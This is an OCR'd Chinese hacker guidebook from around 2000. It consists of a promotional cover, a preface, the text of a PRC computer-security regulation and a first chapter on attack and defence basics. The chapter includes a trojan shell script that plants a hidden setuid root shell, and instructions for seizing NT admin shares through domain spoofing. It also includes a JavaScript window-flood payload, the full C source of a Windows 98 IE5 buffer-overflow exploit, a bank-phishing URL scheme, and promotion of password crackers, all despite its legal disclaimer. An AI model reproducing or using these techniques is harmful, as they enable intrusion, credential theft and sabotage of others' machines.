黑客攻击防范秘技

满舟 编著

更新

更酷

更全

最新黑客工具大曝光 ⏭ 1000余种

黑客攻击案例写真集 ⏭ 数十例

世界顶级黑客大搜捕 ⏭ 六大门派

黑客攻击手段全揭密 ⏭ 100余种

神秘黑客浮出水面

十七岁天才少年鼎力打造

严禁利用本产品进行非法活动

黑客独白

大家好，我是小舟，一名普通的网络爱好者，是前“黑客咨询站” 站长，也就是你们眼中的黑客。我在网上与许多外国朋友一起谈到中国网络安全问题时，大部分外国朋友认为中国网络完全没有安全性可言，这对我们中国黑客的自尊心是很大的伤害。我们觉得有必要利用我们所学的知识为中国的网络安全事业做出一份贡献。在这儿我要感谢北京腾图电子出版社给我们这次机会，为大家澄清一些错误的观点，也想对广大电脑爱好者说几句话：

关于黑客，我们可以追溯到几十年前第一台 minicomputer 刚诞生 ARPAnet 实验也刚展开的时代。那时有一个由程序设计专家和网络名人组成的，具有分享特质的文化族群，这种文化的成员创造出我们 现在使用的 unix 操作系统，他们也使 usenet 动作起来，并且让 world wide web 动起来。如果你使这个文化的其他成员也认识你，并称你为 Hacker，那么你就是一名 Hacker。我们的确也分类别，那些专门入侵 电话和电脑系统的人被称为“骇客”（Cracker），我们认为这些人很不负责，也不算光明正大，所以我们不愿意和他们在一起做任何事，但 不幸的是，许多人常用“黑客”这个词来形容“骇客”，这让我们无法接受。“黑客”和“骇客”之间最主要的不同是，“黑客”创造新东西，“骇客”却在搞破坏。我们现在所做的事，用一个形象的比喻就是“我 和你是邻居，看见你的门没关好，于是敲了敲门，告诉你下次记得把门关好。”你不应该感激我们吗？

在几年前，如果我国的网站被攻击，我们只能眼睁睁地看着，因 为那时我们不懂电脑，更不知网络是什么东西，而今天我们能够反击，因为我们掌握着尖端的网络知识。如果不想自己被黑，那你必须成为黑客，

你想成为黑客吗？中国有 800 万网民，而黑客一共能有几个？黑 客不是一般智力的人能作的，也不是一天二天能做到的，很多朋友一听到系统、编程就害怕，这可不行。我想对初学者强调的是，你必须 要有强烈的求知欲，要善于独立思考、喜欢自由探索的精神。

让你的黑客之路从这本书开始吧！

满舟

北京腾图电子出版社 邮编：100055
电话：(010) 63954717 63951967
传真：(010) 63955294 E-mail:TenguEPH@sina.com
委托 北京情文图书有限公司 发行 邮编：100026
地址：北京市朝阳区甜水园北里 16 号楼图书市场 263 号
电话：(010) 65934375
ISBN 7-900023-92-5
9 787900 023926
单 CD+ 配套手册 定价：29 元

严正声明:本产品仅用于网络安全防卫及测试,严禁利用本产品进行违法活动

中华人民共和国计算机信息系统安全保护条例

(1994 年 2 月 18 日中华人民共和国国务院令 147 号发布)

第一章 总 则

第一条 为了保护计算机信息系统的安全,促进计算机的应用和发展,保障社会主义现代化建设的顺利进行,制定本条例。

第二条 本条例所称的计算机信息系统,是指由计算机及其相关的和配套的设备、设施(含网络)构成的,按照一定的应用目标和规则对信息进行采集、加工、存储、传输、检索等处理的人机系统。

第三条 计算机信息系统的安全保护,应当保障计算机及其相关的和配套的设备、设施(含网络)的安全,运行环境的安全,保障信息的安全,保障计算机功能的正常发挥,以维护计算机信息系统的安全运行。

第四条 计算机信息系统的安全保护工作,重点维护国家事务、经济建设、国防建设、尖端科学技术等重要领域的计算机信息系统的安全。

第五条 中华人民共和国境内的计算机信息系统的安全保护,适用本条例。

未联网的微型计算机的安全保护办法,另行制定。

第六条 公安部主管全国计算机信息系统安全保护工作。

国家安全部、国家保密局和国务院其他有关部门,在国务院规定的职责范围内做好计算机信息系统安全保护的有关工作。

第七条 任何组织或者个人,不得利用计算机信息系统从事危害国家利益、集体利益和公民合法利益的活动,不得危害计算机信息系统的安全。

第二章 安全保护制度

第八条 计算机信息系统的建设和应用,应当遵守法律、行政法规和国家其他有关规定。

第九条 计算机信息系统实行安全等级保护。安全等级的划分标准和安全等级保护的具体办法,由公安部会同有关部门制定。

第十条 计算机机房应当符合国家标准和国家有关规定。

在计算机机房附近施工,不得危害计算机信息系统的安全。

第十一条 进行国际联网的计算机信息系统,由计算机信息系统的使用单位报省级以上人民政府公安机关备案。

第十二条 运输、携带、邮寄计算机信息媒体进出境的,应当如实向海关申报。

第十三条 计算机信息系统的使用单位应当建立健全安全管理制度,负责本单位计算机信息系统的安全保护工作。

第十四条 对计算机信息系统中发生的案件,有关使用单位应当在 24 小时内向当地县级以上人民政府公安机关报告。

第十五条 对计算机病毒和危害社会公共安全的其他有害数据的防治研究工作,由公安部归口管理。

第十六条　国家对计算机信息系统安全专用产品的销售实行许可证制度。具体办法由公安部会同有关部门制定。

第三章　安全监督

第十七条　公安机关对计算机信息系统安全保护工作行使下列监督职权：

（一）监督、检查、指导计算机信息系统安全保护工作；

（二）查处危害计算机信息系统安全的违法犯罪案件；

（三）履行计算机信息系统安全保护工作的其他监督职责。

第十八条　公安机关发现影响计算机信息系统安全的隐患时，应当及时通知使用单位采取安全保护措施。

第十九条　公安部在紧急情况下，可以就涉及计算机信息系统安全的特定事项发布专项通令。

第四章　法律责任

第二十条　违反本条例的规定，有下列行为之一的，由公安机关处以警告或者停机整顿：

（一）违反计算机信息系统安全等级保护制度，危害计算机信息系统安全的；

（二）违反计算机信息系统国际联网备案制度的；

（三）不按照规定时间报告计算机信息系统中发生的案件的；

（四）接到公安机关要求改进安全状况的通知后，在限期内拒不改进的；

（五）有危害计算机信息系统安全的其他行为的。

第二十一条　计算机机房不符合国家标准和国家其他有关规定的，或者在计算机机房附近施工危害计算机信息系统安全的，由公安机关会同有关单位进行处理。

第二十二条　运输、携带、邮寄计算机信息媒体进出境，不如实向海关申报的，由海关依照《中华人民共和国海关法》和本条例以及其他有关法律、法规的规定处理。

第二十三条　故意输入计算机病毒以及其他有害数据危害计算机信息系统安全的，或者未经许可出售计算机信息系统安全专用产品的，由公安机关处以警告或者对个人处以5000元以下的罚款、对单位处以15000元以下的罚款；有违法所得的，除予以没收外，可以处以违法所得1至3倍的罚款。

第二十四条　违反本条例的规定，构成违反治安管理行为的，依照《中华人民共和国治安管理处罚条例》的有关规定处罚；构成犯罪的，依法追究刑事责任。

第二十五条　任何组织或者个人违反本条例的规定，给国家、集体或者他人财产造成损失的，应当依法承担民事责任。

第二十六条　当事人对公安机关依照本条例所作出的具体行政行为不服的，可以依法申请行政复议或者提起行政诉讼。

第二十七条　执行本条例的国家公务员利用职权，索取、收受贿赂或者有其他违法、失职行为，构成犯罪的，依法追究刑事责任；尚不构成犯罪的，给予行政处分。

第五章　附则

第二十八条　本条例下列用语的含义：

计算机病毒，是指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据，影响计算机使用，并能自我复制的一组计算机指令或者程序代码。

计算机信息系统安全专用产品，是指用于保护计算机信息系统安全的专用硬件和软件产品。

第二十九条　军队的计算机信息系统安全保护工作，按照军队的有关法规执行。

第三十条　公安部可以根据本条例制定实施办法。

第三十一条　本条例自发布之日起施行。

前　言

黑客(hacker)是指对计算机某一领域有着深入的理解,并且热衷与潜入其他人计算机,窃取非公开信息的人。黑客也有人叫之为骇客,在互联网高度发达的今天,黑客们也从小的局域网转移到了广阔的 Internet 上,他们把在 Internet 上的计算机当作新的攻击目标,毫无顾忌地窃取信息,发送邮件炸弹,对网络使用的安全性造成了极大的危害。所以对上网的个人和企业来说,了解一下黑客的常用的攻击方法,并且做出相应的防范对策是相当必要的!

本书所介绍的方法和本书的配套光盘中的工具仅做学习,请大家遵守中华人民共和国计算机信息网络国际联网管理暂行规定。

由于本人水平有限,书中可能存在一些错误,敬请广大读者来信批评指正。

满舟(小舟)

2000 年 6 月 29 日

严正声明:本产品仅用于网络安全防卫及测试,严禁利用本产品进行违法活动

中华人民共和国计算机信息系统安全保护条例

前　言

第一章　未雨绸缪　防患未然——网络安全篇

第一节　网络安全的概念

1.1　网络攻防基础

网络的黑客们在人们眼中简直无所不能，都是些神密的家伙，你想成为他们的一员吗？那你就看看下面的文章吧，下面所介绍的都是大多数黑客成为黑客前所知到的，就象数学中的加法一样，想成为黑客必须要打好基础啊，文章共分为5大部份：

1、安全概念及思路（别忽略了它噢，这可是基础中的基础，其实真正软件中的漏洞并没有大家想象中那么多，而被攻破的系统有许多是因为人为的疏失才"惨遭蹂躏"的。

2、以入侵者的角度考虑安全问题

3、系统配置方案

4、几篇国外基础性文章的翻译

5、部份国内较流行工具的使用方法

第一章，安全概念及思路：

一、综述、

一提起网络安全，大家心里想到的首先应该都是"某某的主页被黑了""五角大楼昨天又被黑客闯入"之类的讯息，其实我认为这只是安全的一个方面，是属远程攻击，但你是否想到，90%以上的入侵行为其实不是黑客们干的，而是你身边的同事、朋友……或者你再想想，系统被人侵入后造成资料丢失的后果，但如果你的电脑被暴雨干干净净彻头彻尾地洗了一遍，你里面的数据还在不在呢？所以我认为计算机安全应该分为物理安全、本地安全和远程安全。

物理安全因为牵涉到诸如机房布置，防水防火等事项，不在本文的讨论范畴内。

二、本地安全失控

A：单机安全

这么说你有一台电脑，平时用来上上网，玩玩游戏，偶尔也敲点公文进去，你认为它挺安全的，但有一天，你的朋友突然告诉你，他有你的上网帐号和密码，你相信吗？——不要不信，这种方法挺多的，假如你用的是WINDOWS，假如你拨号上网的密码写了保存，那你就惨了，你根本一点安全概念都没有嘛！任何人只要在你的电脑上运行某个小软件就能看到你的密码 我从来不保存什么密码－－你可能要得意的说，但－－你的朋友在你电脑里装了一个木马，可以捕捉拨号网络那个"连接到"的Caption，然后记下你所按的键盘，悄悄地将文件写入一个加密过的文本后再自动退出－－会点编程的人应该都做得到，你的电脑是不是失守了？

设了屏幕保护密码－－天啊，重启动后还有什么？

设定了管理策略，用策略编辑器编辑过，如果不输密码他就进不了，进去了也什么都干不成！－－把你的user.dat和system.dat删掉后用我的代替，这个主意你认为怎么样？当然我不是让你杯弓蛇影弄得一个朋友都没有只能形影相吊－－这样活着太没劲啦！如果你的电脑没有机密资讯的话当然无所谓，如果有－－保证尽量少的人接触它！写了这么多都是WIN9X的，UNIX系统里这方

面的问题是不是就少了呢？从物理方面来说，如果一台机器摆放的位置不安全，能让人有足够的时间打开机箱做一些手脚，你的机器就无法安全，就拿我的机子来说吧，我有两块硬盘，但在 WIN9X 和 NT 里都看不到第二块硬盘的影子 - - 我把它装上了 LINUX，而且只能从一个特定的地方启动它，启动之后，在 LINUX 下，我可以任意的用 mount 命令装其它操作系统里的所有数据一扫而空……明白我的意思了吗？

B：局域网安全

基于同样的道理，局域网中的电脑在物理上仍然要严加控制，同时还要经常性地注意局域网中用户的一些非正常的举动 - - 为什么？这还用问，就拿我身边的例子来说吧，我有个朋友，公司里三十多台电脑连成一个局域网，但这家伙总想弄到主机的最高权限，于是乎监听 SMB 密文、安装木马忙得不亦乐乎 - - 最后呢，当然得手了，毕竟是我的哥们嘛：）

还有，比如在 UNIX 中最好要限制 ROOT 只能由主控台（console）登录、要谨慎使用 su 命令等等，不然都会给同一网域内的一群"虎视眈眈"想获取最高权限者以机会……

辟如说：shell 环境变量 PATH 中包含用冒号分开的目录名清单，shell 按照清单中给定的顺序搜索这些目录，找出运行的命令的可执行文件，PATH 变量的典型内容如下：

```
$ echo $ PATH
.:/usr/local/bin:/bin:/usr/bin/:/usr/X11/bin
```

但如果你是 ROOT 的话，无论如何要把 PATH 变量从当前目录开始搜索的设置去掉，不然请考虑下面的可能性：甲请你过去在他的终端上做某些管理员职能，你去了，su 成 ROOT，执行用户要求你做的系统命令后退出 ROOT 帐号 - - 无懈可击，但如果用户将在他的目录下做了一个假的 su 程序……那么你是从当前目录也就是甲的目录开始搜索的，天啊，你执行的是一个根本不知情的程序，可能是用户自己编写的特洛伊程序，用以记录你的密码……

根据上面的原理，你看看如果 ROOT 不去掉本地目录的话，下面这段代码可能有什么用处吧

```
#! /bin/sh
cp /bin/sh ./stuff/junk/.superdude
chmod 4555 ./stuff/junk/.superdude
rm -f $0
exec /bin/ls ${1+"$@"}
```

然后

```
% cd
% chmod 700.
% touch ./-f
```

明白了吗？这个 ls 建立了一个隐藏的 setuid root 的 shell 的 copy……

三、远程安全与黑客常用方法

1、针对个人用户

个人用户在网上最常遇到的"侵略性"的行为不外乎以下几种 A：垃圾邮件 这是一个永恒但又无奈的话题，垃圾邮件包括了诸如一些赚钱、广告之类的信件和恶意的人们通过邮件炸弹发来"成吨重"的信件，这不需要任何技巧，也最是无聊 - - 我收到的此类信件多如牛毛呀！对付此类信件远程登陆删除就行了，也没有必要非查出该发信人的行踪再施以报复 - - 网上这种东西太多，可谓野火烧不尽……然后在信箱配置上设定拒收某些人、或者超大的信件就行了，这种垃圾不在我们的讨论范围之内。

B:蓝屏炸弹 这是针对 WIN95 的 OOB 漏洞而开发出来的一些小软件,多命名为 * NUKE 等等,以前是专门攻击 139 端口,被攻击的计算机多会出现 M $ 著名的蓝屏蓝屏错误,WIN98 下此漏洞已经 PATCH 上,所以大多数 NUKE 软件都已失效了,但最近听说一个叫 VOOB 的软件对 WIN98 仍然有效 - -我还没试过呢,要不要拿你开刀? 该软件界面如下:(此类软件界面大抵如此,使用简单无比)

要防范此类软件的攻击,一个土办法就是监听端口,网上有许多监听端口的软件,你只要设定好监听的 PORT,一旦有人企图向这个端口发送信息包就会被记录下来,然后^&%^& * ,抓到他后,你自己看着办吧……

C:共享文件 这个问题网络里有相当多的安全人士已经提过无数次了,但……我每次扫描一个 C 类地址群的时候都能发现一大群人依旧开着共享没有任何防护而且自得其乐,很抱歉,我看过其中一些人的信、图片甚至更加机密的……你的电脑里是不是有这样的托着磁盘的小手呢?

有的话可要小心了,你开着共享呢,也就是说,下面的方法对你来说相当有效……

1、本地攻击

本站在辰光十三条提到 c $ 、d $ 、admin $ 和 print $ 这些共享是很危险的。但是出于某些原因不愿意详细提及危险在何处。最近问到这个问题的人越来越多,现决定把我们的发现公布出来。

众所周知,NT 安装以后,将每个磁盘自动分配一个共享,c $,d $ 和 e $ 等。这些共享是隐藏的共享,在网上邻居是看不到它们的。另外还有 admin $,ipc $,打印机共享后,还会生成 print $ 这个共享。

微软说这些共享是为管理而设置的,且最好不要删除。

实际上,这些 c $ 共享资源都是可访问的,只不过需要一点权限。而 print $ 则一般任何人都可以访问。

缺省地,要访问 c $,需要 backup operator 以上的权限,即需要文件的备份权限。假设你的 NT 域内有一个帐号是 benny,NT 的 ip 是 192.168.0.1,他是 Backup operator,而你得到了这个帐号的密码,那么,你就可以通过网络访问 NT 服务器的 c 盘,而不管 c 盘有没有被共享。方法如下:

在运行命令中输入:

\ \ 192.168.0.1 \ c $

则一个包含 c 盘所有文件的窗口将会弹出来。

或者 net use z: \ \ 192.168.0.1 \ c $

则 NT server 上的 c:盘就被映射为本地的 z:盘。

缺省地,你对这些目录将具有完全控制的权限,你可以用 NT 入侵升级版的方法,把 getadmin 的文件传到 c 盘来取得 Administrator 权限。

另外,对于 \ \ 192.168.0.1 \ print $ 你不需要 backup operator 的权限就能完全控制

2、远程攻击

本地攻击的这个技巧很多人都知道,下面来谈谈远程攻击

这个毛病是可以用来远程攻击的!

假设有一台 server 是 www.xxx.com

一般人输入 \ \ www.xxx.com \ c $ 后

会出现一个对话框,要你输入密码(但并不要你输入密码)

其实这是一个幌子,maybe 微软的开发人员留了一个公用密码,否则,哪有不需要 ID 就提示输入密码的?

上面,我们提到,在局域网内,只要是 backup operator 以上级别的人输入这条命令,就不会有密码输入对话框出现,而会直接弹出暴露 c 盘所有文件和目录的窗口。

本站发现的是,如果你有 Backup operator 以上的权限,用域欺骗的方法,可以远程访问 C 盘,并且在缺省情况下受到你的完全控制!

看过本站以前关于 NT 的安全文献的人应该知道,C 盘文件被控制的风险就是系统完全被控制

发现的步骤:

如上所述,要打开 \ \ www.xxx.com \ c $ 这个磁盘,就得在 www.xxx.com 的这个域内登录。但是通过 TCP/IP 如何在 NT 的 Lan 内登录? 我产生了一个欺骗这个 NT 域的念头,即,我在本地设置一个与 www.xxx.com 的域的名称相同的主域控制器,假设 www.xxx.com 的域的名称叫 xxx, 则我将自己本地主域控制器的域名也改成 xxx,并且也设置一个 benny 的帐号和密码。

然后拨号上网,再输入 \ \ www.xxx.com \ c $ 后

C 盘的目录居然弹出来了,权限是完全控制,欺骗成功!

以上的方法有个问题,如何得知对方的域的名称? 用这个命令:

NBTstat - A www.xxx.com

quack 注:NBTstat 是 NT 上一个能检验从 NetBIOS 名到 TCP/IP 地址的转换的实用工具,能检查 NetBIOS 的当前佳话状态,也可以把表项从 LMHOSTS 文件添加到 NetBIOS 名字高速缓存中,或者检验注册的 NetBIOS 名和分配给你的计算机的 NetBIOS 作用域,与 NETSTAT 不同的是它只处理 NetBIOS 连接,而 NETSTAT 处理你的系统与其它计算机的全部连接。

当然,用这篇 Retina 的文献中提到的方法,也可以获得其域的名称。

本文的基础是要获得 Backup Operator 的权限,结果是能获取 Administrator 权限,Local/Remote 都有效。

但是,\ \ www.xxx.com \ print $ 这个目录是不需要什么权限的,任何人都能访问。

因为几乎所有的 NT 机器的 c $ 目录是打开的,而且就算有人把这个共享删除了,机器重新启动后又会被自动打开,所以这个安全问题是很严重的。关于域欺骗的问题,是微软的安全漏洞无疑。在这里看到,本文还要用到其它的 hack 技巧如 nbtstat 和 getadmin,成功入侵一台 NT server 是要用到很多知识的。

quack 注:蓝色部份文字来自 http://wwwx.yeah.net (深圳晨光)其站主 Frankie 是国内资历相当深的一位网络安全人士。

看了之后是不是觉得心惊肉跳 - - 你硬盘上的文件全在别人的掌握之中! 这种感觉不太好吧,呵,所以如果不是必要的话呢,WIN98 文件及打印共享的选项就不要开了,NT 下最好对 NetBIOS 作个限制,要开的话 - - 找个安全工具,比如 LOCKDOWN2000,该软件用法相当简单,可以实时监控他人同你的电脑的连接……试试你就知道了。

还有些人可能会说 - - 我是拨号上网,动态 IP,就算共享又怎么样? 请问你有没有用 ICQ? ICQ 不是有"隐身人"的作用吗? 有些人又不服了 - - 唉,那你就开着吧,告诉我你的 ICQ 号……

D:木马侵袭

说到木马很多人的第一反应就是 BO,不错,BO 的确是迄今为止水平最高的一个木马程序了 - - 对了,要解释一下什么是木马吗? 就是远程控制软件啦! 一个客户端,一个服务器端,两边都装好后在客户端就可以访问远程的服务器了,之所以称其为木马,是因为它往往是在服务器端不知情的情况下被装人的 - - 就是说,你一不小心,就"对外开放"了。

网上木马程序很流行,其实说来也很简单,大致都是修改注册表或者 INI 文件加载一个文件提

供服务,这就手工都很容易检测出木马来。一,看增加的不明服务。二,因为木马是作为服务一般要打开一个网络通信端口,所以检查增加的服务端口也很容易检查出木马程序来。其实完全可以稍微改动操作系统内核而作出一个很好的木马来,这样不用改动注册表也可以让用户很不容易发觉。(比如说将木马做进某个驱动程序里面,就^&*%$,咱们劳苦大众想手工检测可就不容易了……)

quack 注:以上文字蓝色部份摘自们 http://www.huzhou.zj.cn/yuange/ ,作者袁哥可是个高手呀

现在流行的一些木马多将自身复制到某个文件夹下隐藏起来,但它要运行就得自启动,所以检查注册表 HKEY-LOCAL-MACHINE \ software \ microsoft \ windows \ currentvision \ run 下面有没有什么值得怀疑的对象就行了。如果对这些不熟悉的话,下载一个叫 cleaner 的软件亦可解决许多木马问题,刚才提到的 LOCKDOWN2000 也有清除木马功能。

E: 恶意代码

这可能在聊天室或者浏览页面时发生,现在主要是用 JavaScript 写成的代码,其作用千奇百怪,举个简单的例子吧,比如众所周知的聊天室攻击手段: < img src = "javascript: n = 1; do{window.open('')}while(n = = 1)" width = "1" > 让别人开无数个窗口,当然你得把自己的 Java 关了。(不过现在的聊天室可没那和好破坏了,你最好得先搞清楚某个较有代表性聊天室的 ASP 代码,对它有一番了解之后,举一反三,自行发挥了。

另一方面是一些包含恶意代码的 HTML 页面,你有可能在浏览某个页面的时候被人把硬盘格式化了^&^ - - 好夸张哦! 下面是一段利用 Windows 95/98 UNC 缓存溢出漏洞写成的代码 ie5filex.c:

```
# include < stdio.h >
# include < windows.h >
# define MAXBUF 1000
# define RETADR 53
/ *
jmp esp (FF E4) code is stored in this area.
You must change this address for non - Japanese Windows98
* /
# define EIP 0xbfb75a35
unsigned char exploit-code[200] = {
0x43,0x43,0x43,0x43,0x43,0x53,0x53,0x53,
0xB8,0x2D,0x23,0xF5,0xBF,0x48,0x50,0xC3,
0x00
};
main(int argc,char * argv[])
{
FILE * fp;
unsigned int ip;
unsigned char buf[MAXBUF];
if (argc < 2){
printf("usage %s output-htmlfile \ n",argv[0]);
```

```
exit(1);
}
if ((fp = fopen(argv[1],"wb")) = = NULL) return FALSE;
fprintf(fp," < META HTTP - EQUIV = \ "Refresh \ " CONTENT = \ "0;URL = file://test/");
memset(buf,0x41,MAXBUF);
ip = EIP;
buf[RETADR - 1] = 0x7f;
buf[RETADR ] = ip&0xff;
buf[RETADR + 1] = (ip > > 8)&0xff;
buf[RETADR + 2] = (ip > > 16)&0xff;
buf[RETADR + 3] = ( ip > > 24)&0xff;
memcpy(buf + 80,exploit-code,strlen(exploit-code));
buf[MAXBUF] = 0;
fprintf(fp,"%s/ \ " > \ n < HTML > < B > ",buf);
fprintf(fp,"10 seconds later, this machine will be shut down. < /B > < BR > < BR > ");
fprintf(fp,"If you are using IE5 for Japanese Windows98, ");
fprintf(fp,"maybe, the exploit code which shuts down your machine will be executed. < BR > ");
fprintf(fp," < /HTML > \ n");
fclose(fp);
printf("%s created. \ n",argv[1]);
return FALSE;
}
```

在 Windows 95 和 Windows 98 的网络代码部分存在溢出漏洞。通过使用一个超长的文名,攻击者可以让用户机器崩溃或执行任意代码。这个漏洞可以通过 web 页或 HTML 邮件来加以利用,在用户用浏览器打开此页面或打开邮件时进行攻击。此检验程序只在日文 Windows 98 \ IE4 \ IE5 环境下测试。在 VC 下编译后可以得到一个 ie5filex.exe,直接在 DOS 下键入 ie5filex a,它便会生成一个 HTML 文件,打开这个文件时会提示错误并且关机,怎么样,有点味道吧!

@ 病毒攻击　病毒是什么就不用我说了吧,它有几个比较让人头疼的特点,破坏、潜伏、自我复制……我对病毒了解得并不多,但建议大家开着一个实时监控的软件如 NAV,而下载软件时最好先扫描一下再行打开。

当然网络上有些破坏者将病毒裹在信息包中,当成一些好玩的东西发送给别人,对这些不请自来的可执行文件、WORD&EXCEL 文档,最好先做扫描(我就曾见过有人将 CIH 裹在他自己写的一个自动生成情书的小程序里寄给别人,而且还会将系统的日期调整到四月十六号……)

如果想对这方面多些了解,建议到以下几个站点转悠转悠:

http://asmhome.wol.com.cn/	病毒技术网
http://gl.zj.cninfo.net/tt/cih/	病毒观察
http://asm.yeah.net/	罗云彬的主页
@	WEB 欺骗

最近台湾发现一起通过 WEB 欺骗获取受害人的银行帐号的事件(应该也是在九、十月份发生的吧),操作者将某银行的页面拷贝,然后将该银行的 URL 改写,于是浏览者便在假的银行页面上

进行一系列的数据操作 - - 当然一切都被记录在入侵者的电脑里了，然后的事情不用我说大家应该也知道了吧

攻击的关键在于要将该银行页面上的所有 URL 都指向入侵者的机器。

假设攻击者的服务器在机器 www.hacker.cn 上运行，被侵入的银行的 URL 是 www.bank.tw，那么攻击者要在页面上的所有 URL 前加上自己的 URL 如下：http://www.hacker.cn/http://www.bank.tw。

当然这种行为要在入侵过的机器上干，要不然很容易就会被人发现你的真实身份，那就逊了^&^

2、针对网络主机

网络主机最经常遇到的就是非法进入了 - - 你得记住这是违反法律的噢！

假定一个黑客要对某网站进行攻击行为，那么他将使用什么手段进入呢……

@ 口令攻击　口令可以说是一个系统的大门，大多数新手开始都是由强攻口令而走上黑客之路的。过去许多系统中都有所谓 JOE 帐户，既用户名与口令相同的用户 - - 现在相对少了，即便如此，还是有相当多的弱口令，如仅在用户名后简单加个数字之类的，那么一些破解口令的程序可就大显身手了。我推荐两个出色的口令解译器给大家：

a、小榕软件之流光，可用于检测 POP、FTP 口令，多线程检测，而且有高效的用户流服务器流模式，探测速度飞快，可以说是同类软件中的佼佼者，小榕同时还有另一优秀的软件乱刀！，能破解取得的 PASSWD 文档密文，速度甚至比 JOHN 还快得多，这两个软件应该是大家工具箱中的宝贝，可以到他的主页去下载使用 - - 这两个软件是共享版，需要注册 - - 请支持黑客软件！

b、天行软件之网络刺客 2 Beta 版，这个东东恐怕不需要我说了，三个字：全功能！ 虽然现在还没有完工，但只要是宝剑，就算在鞘里依然是有其威风的，它包括的功能……算了，你自己下载一个好好试试，反正绝不会后悔的。天行同时还有一个安全产品网络卫兵共享版发布。

@ 扫描　记得似乎是绿色兵团的 goodwell 说过，好的扫描器千金难买，的确如此，其实扫描器就是将已知的系统漏洞写入程序，运行后它会搜索某一地址的站点，如果该站存在某些已知的漏洞，则扫描器最后的报告中会告知你，那么一名黑客就可以尝试以这些已知的漏洞去进攻 - - 有目标了嘛！ 当然有些可能已被 PATCH 上了，可有些则不然，成功与否就看你的功力与运气了。绿色兵团 zer9 发表的 WEB Secunity Scanner 是我所见扫描器中相当出色的一个，其中个人主页扫描与 IIS HACK 检查因可能带来危险，所以需要向作者索取 KEY 才能使用 另一种扫描器是扫描端口的，这也是一种获取主机信息的好方法。比如它能轻易得到运行的操作系统信息以及提供了哪些服务。在 UNIX 下通常开放许多端口，如 13(daytime) \ 19(chargen)……等等，而 NT 只提供一些通用服务如 PORT21，PORT80，同时还在 135、139 端口进行监听，而 WIN95 则只在 139 进行监听，这样操作系统的判别是不是就非常容易了呢？ 下面这个东东就是干这种事的：

@ 缓冲区溢出漏洞　无论是系统提供的一些调用或是用户编写的程序，有时都可能缺乏对要拷贝的字符串长度的检查。当超过缓冲区长度的字符串被送入过小的缓冲区中时，常会将进程中相邻空间覆盖掉。若较严重的话，可能将堆栈破坏，使程序无法执行。

在 UNIX 中的某些应用程序，如果我们输入三五页的字符作为命令行参数，看程序的动作的话，有时这个程序会出错，同是会有一个 CORE 的文件出现，里面可能包含一些你想要的东西。也可以用一类精心写出来的代码，得用 SUID 程序中存在的这种错误可以很轻易地取得系统的超级用户权限。由于缓冲区溢出漏洞牵涉到的程序面相当广，一时很难对这类型的攻击做出有效的杜绝。

一般情况下，黑客会在取得目标机器的信息之后到知名的黑客站点查找该种系统以及其上运

行的各种服务是否有漏洞,然后将寻找来的一段程序代码上传编译运行……(文章写到这里真的很累,就不再找具体例子说明了,否则有一大堆的代码要 KEYIN,我怎么受得了)

@ 木马　只要是执行用户不知道的任何操作,表面上又仿佛能完成某些正常功能的程序都可称之为木马,它们一般出现在几种时候,一是施放者想借木马夺取某些权限或获取信息时;二是系统被攻破后为方便日后进入而设下各种机关。它可以出现在编译过的程序中,也可以出现在系统管理员需要执行的系统命令中,甚至可以作为消息的一部份发送。比较精彩的是:一些邮件头(mail headers)允许用户退到 shell 并执行命令,因为这一特性使邮件在被阅读时激活,黑客利用它便能给终端发送特定的消息,在终端在储存一个命令序列并且执行它……听起来很酷吧,做一个试试!

@ 其它(拒绝服务攻击、网络监听)　拒绝服务其实说起来也很容易理解,就是让服务器的 CPU 过载、磁盘饱和、内存不足……总之你能想到的能让它动弹不得的行动都可以称之拒绝服务,因为这造成了使用该服务器的正式用户的请求被服务器拒绝。

至于网络监听 - - 唉,网络监听! 说起来还挺烦,我手真的难受呀,太酸了:(,就是 - - 当信息以明文形式在网络上传输时,将网络接口设置在监听模式 - - 别说得这么烦了,就是安个监听的软件,就可以将网上传输的信息截获了,常用的监听软件有运行在 Linux \ Solaris 等平台下的 Sniffit 以及 WIN9X、NT 下的 NetXRay,大家自己尝试一下吧,看了那么多我想大家都对网上黑客的手法有了一定的了解了吧,那就好,最后祝大家上网上的更开心啊:)

1.2 安全基础

上网一段时间了,大大小小的 BBS 论坛和聊天室也去了不少,但发现国内的网友很关心黑客软件,而忽视了网络的系统知识,我觉的这很不好,我觉的大家有必要了解一下这些东西 在 M $ 的操作系统中,与网络安全较有关系的几个命令/程序是:ping \ winipcfg \ tracert \ net \ at \ netstat,

1. ping:这是 TCP/IP 协议中最有用的命令之一

它给另一个系统发送一系列的数据包,该系统本身又发回一个响应,这条实用程序对查找远程主机很有用,它返回的结果表示是否能到达主机,宿主机发送一个返回数据包需要多长时间。

Usage: ping [- t] [- a] [- n count] [- l size] [- f] [- i TTL] [- v TOS]
[- r count] [- s count] [[- j host - list] | [- k host - list]]
[- w timeout] destination - list

Options:

- t Ping the specifed host until interrupted.(除非人为中止,否则一直 ping 下去)
- a Resolve addresses to hostnames.(把 IP 转为主机名)
- n count Number of echo requests to send.(响应请求的数量)
- l size Send buffer size.(封包的大小)
- f Set Don't Fragment flag in packet.(信息包中无碎片)
- i TTL Time To Live.(时间)
- v TOS Type Of Service.(服务类型)
- r count Record route for count hops.
- s count Timestamp for count hops.
- j host - list Loose sour route along host - list.
- k host - list Strict source route along host - list.(较严格的……唉,怎么译好……算了,放着吧)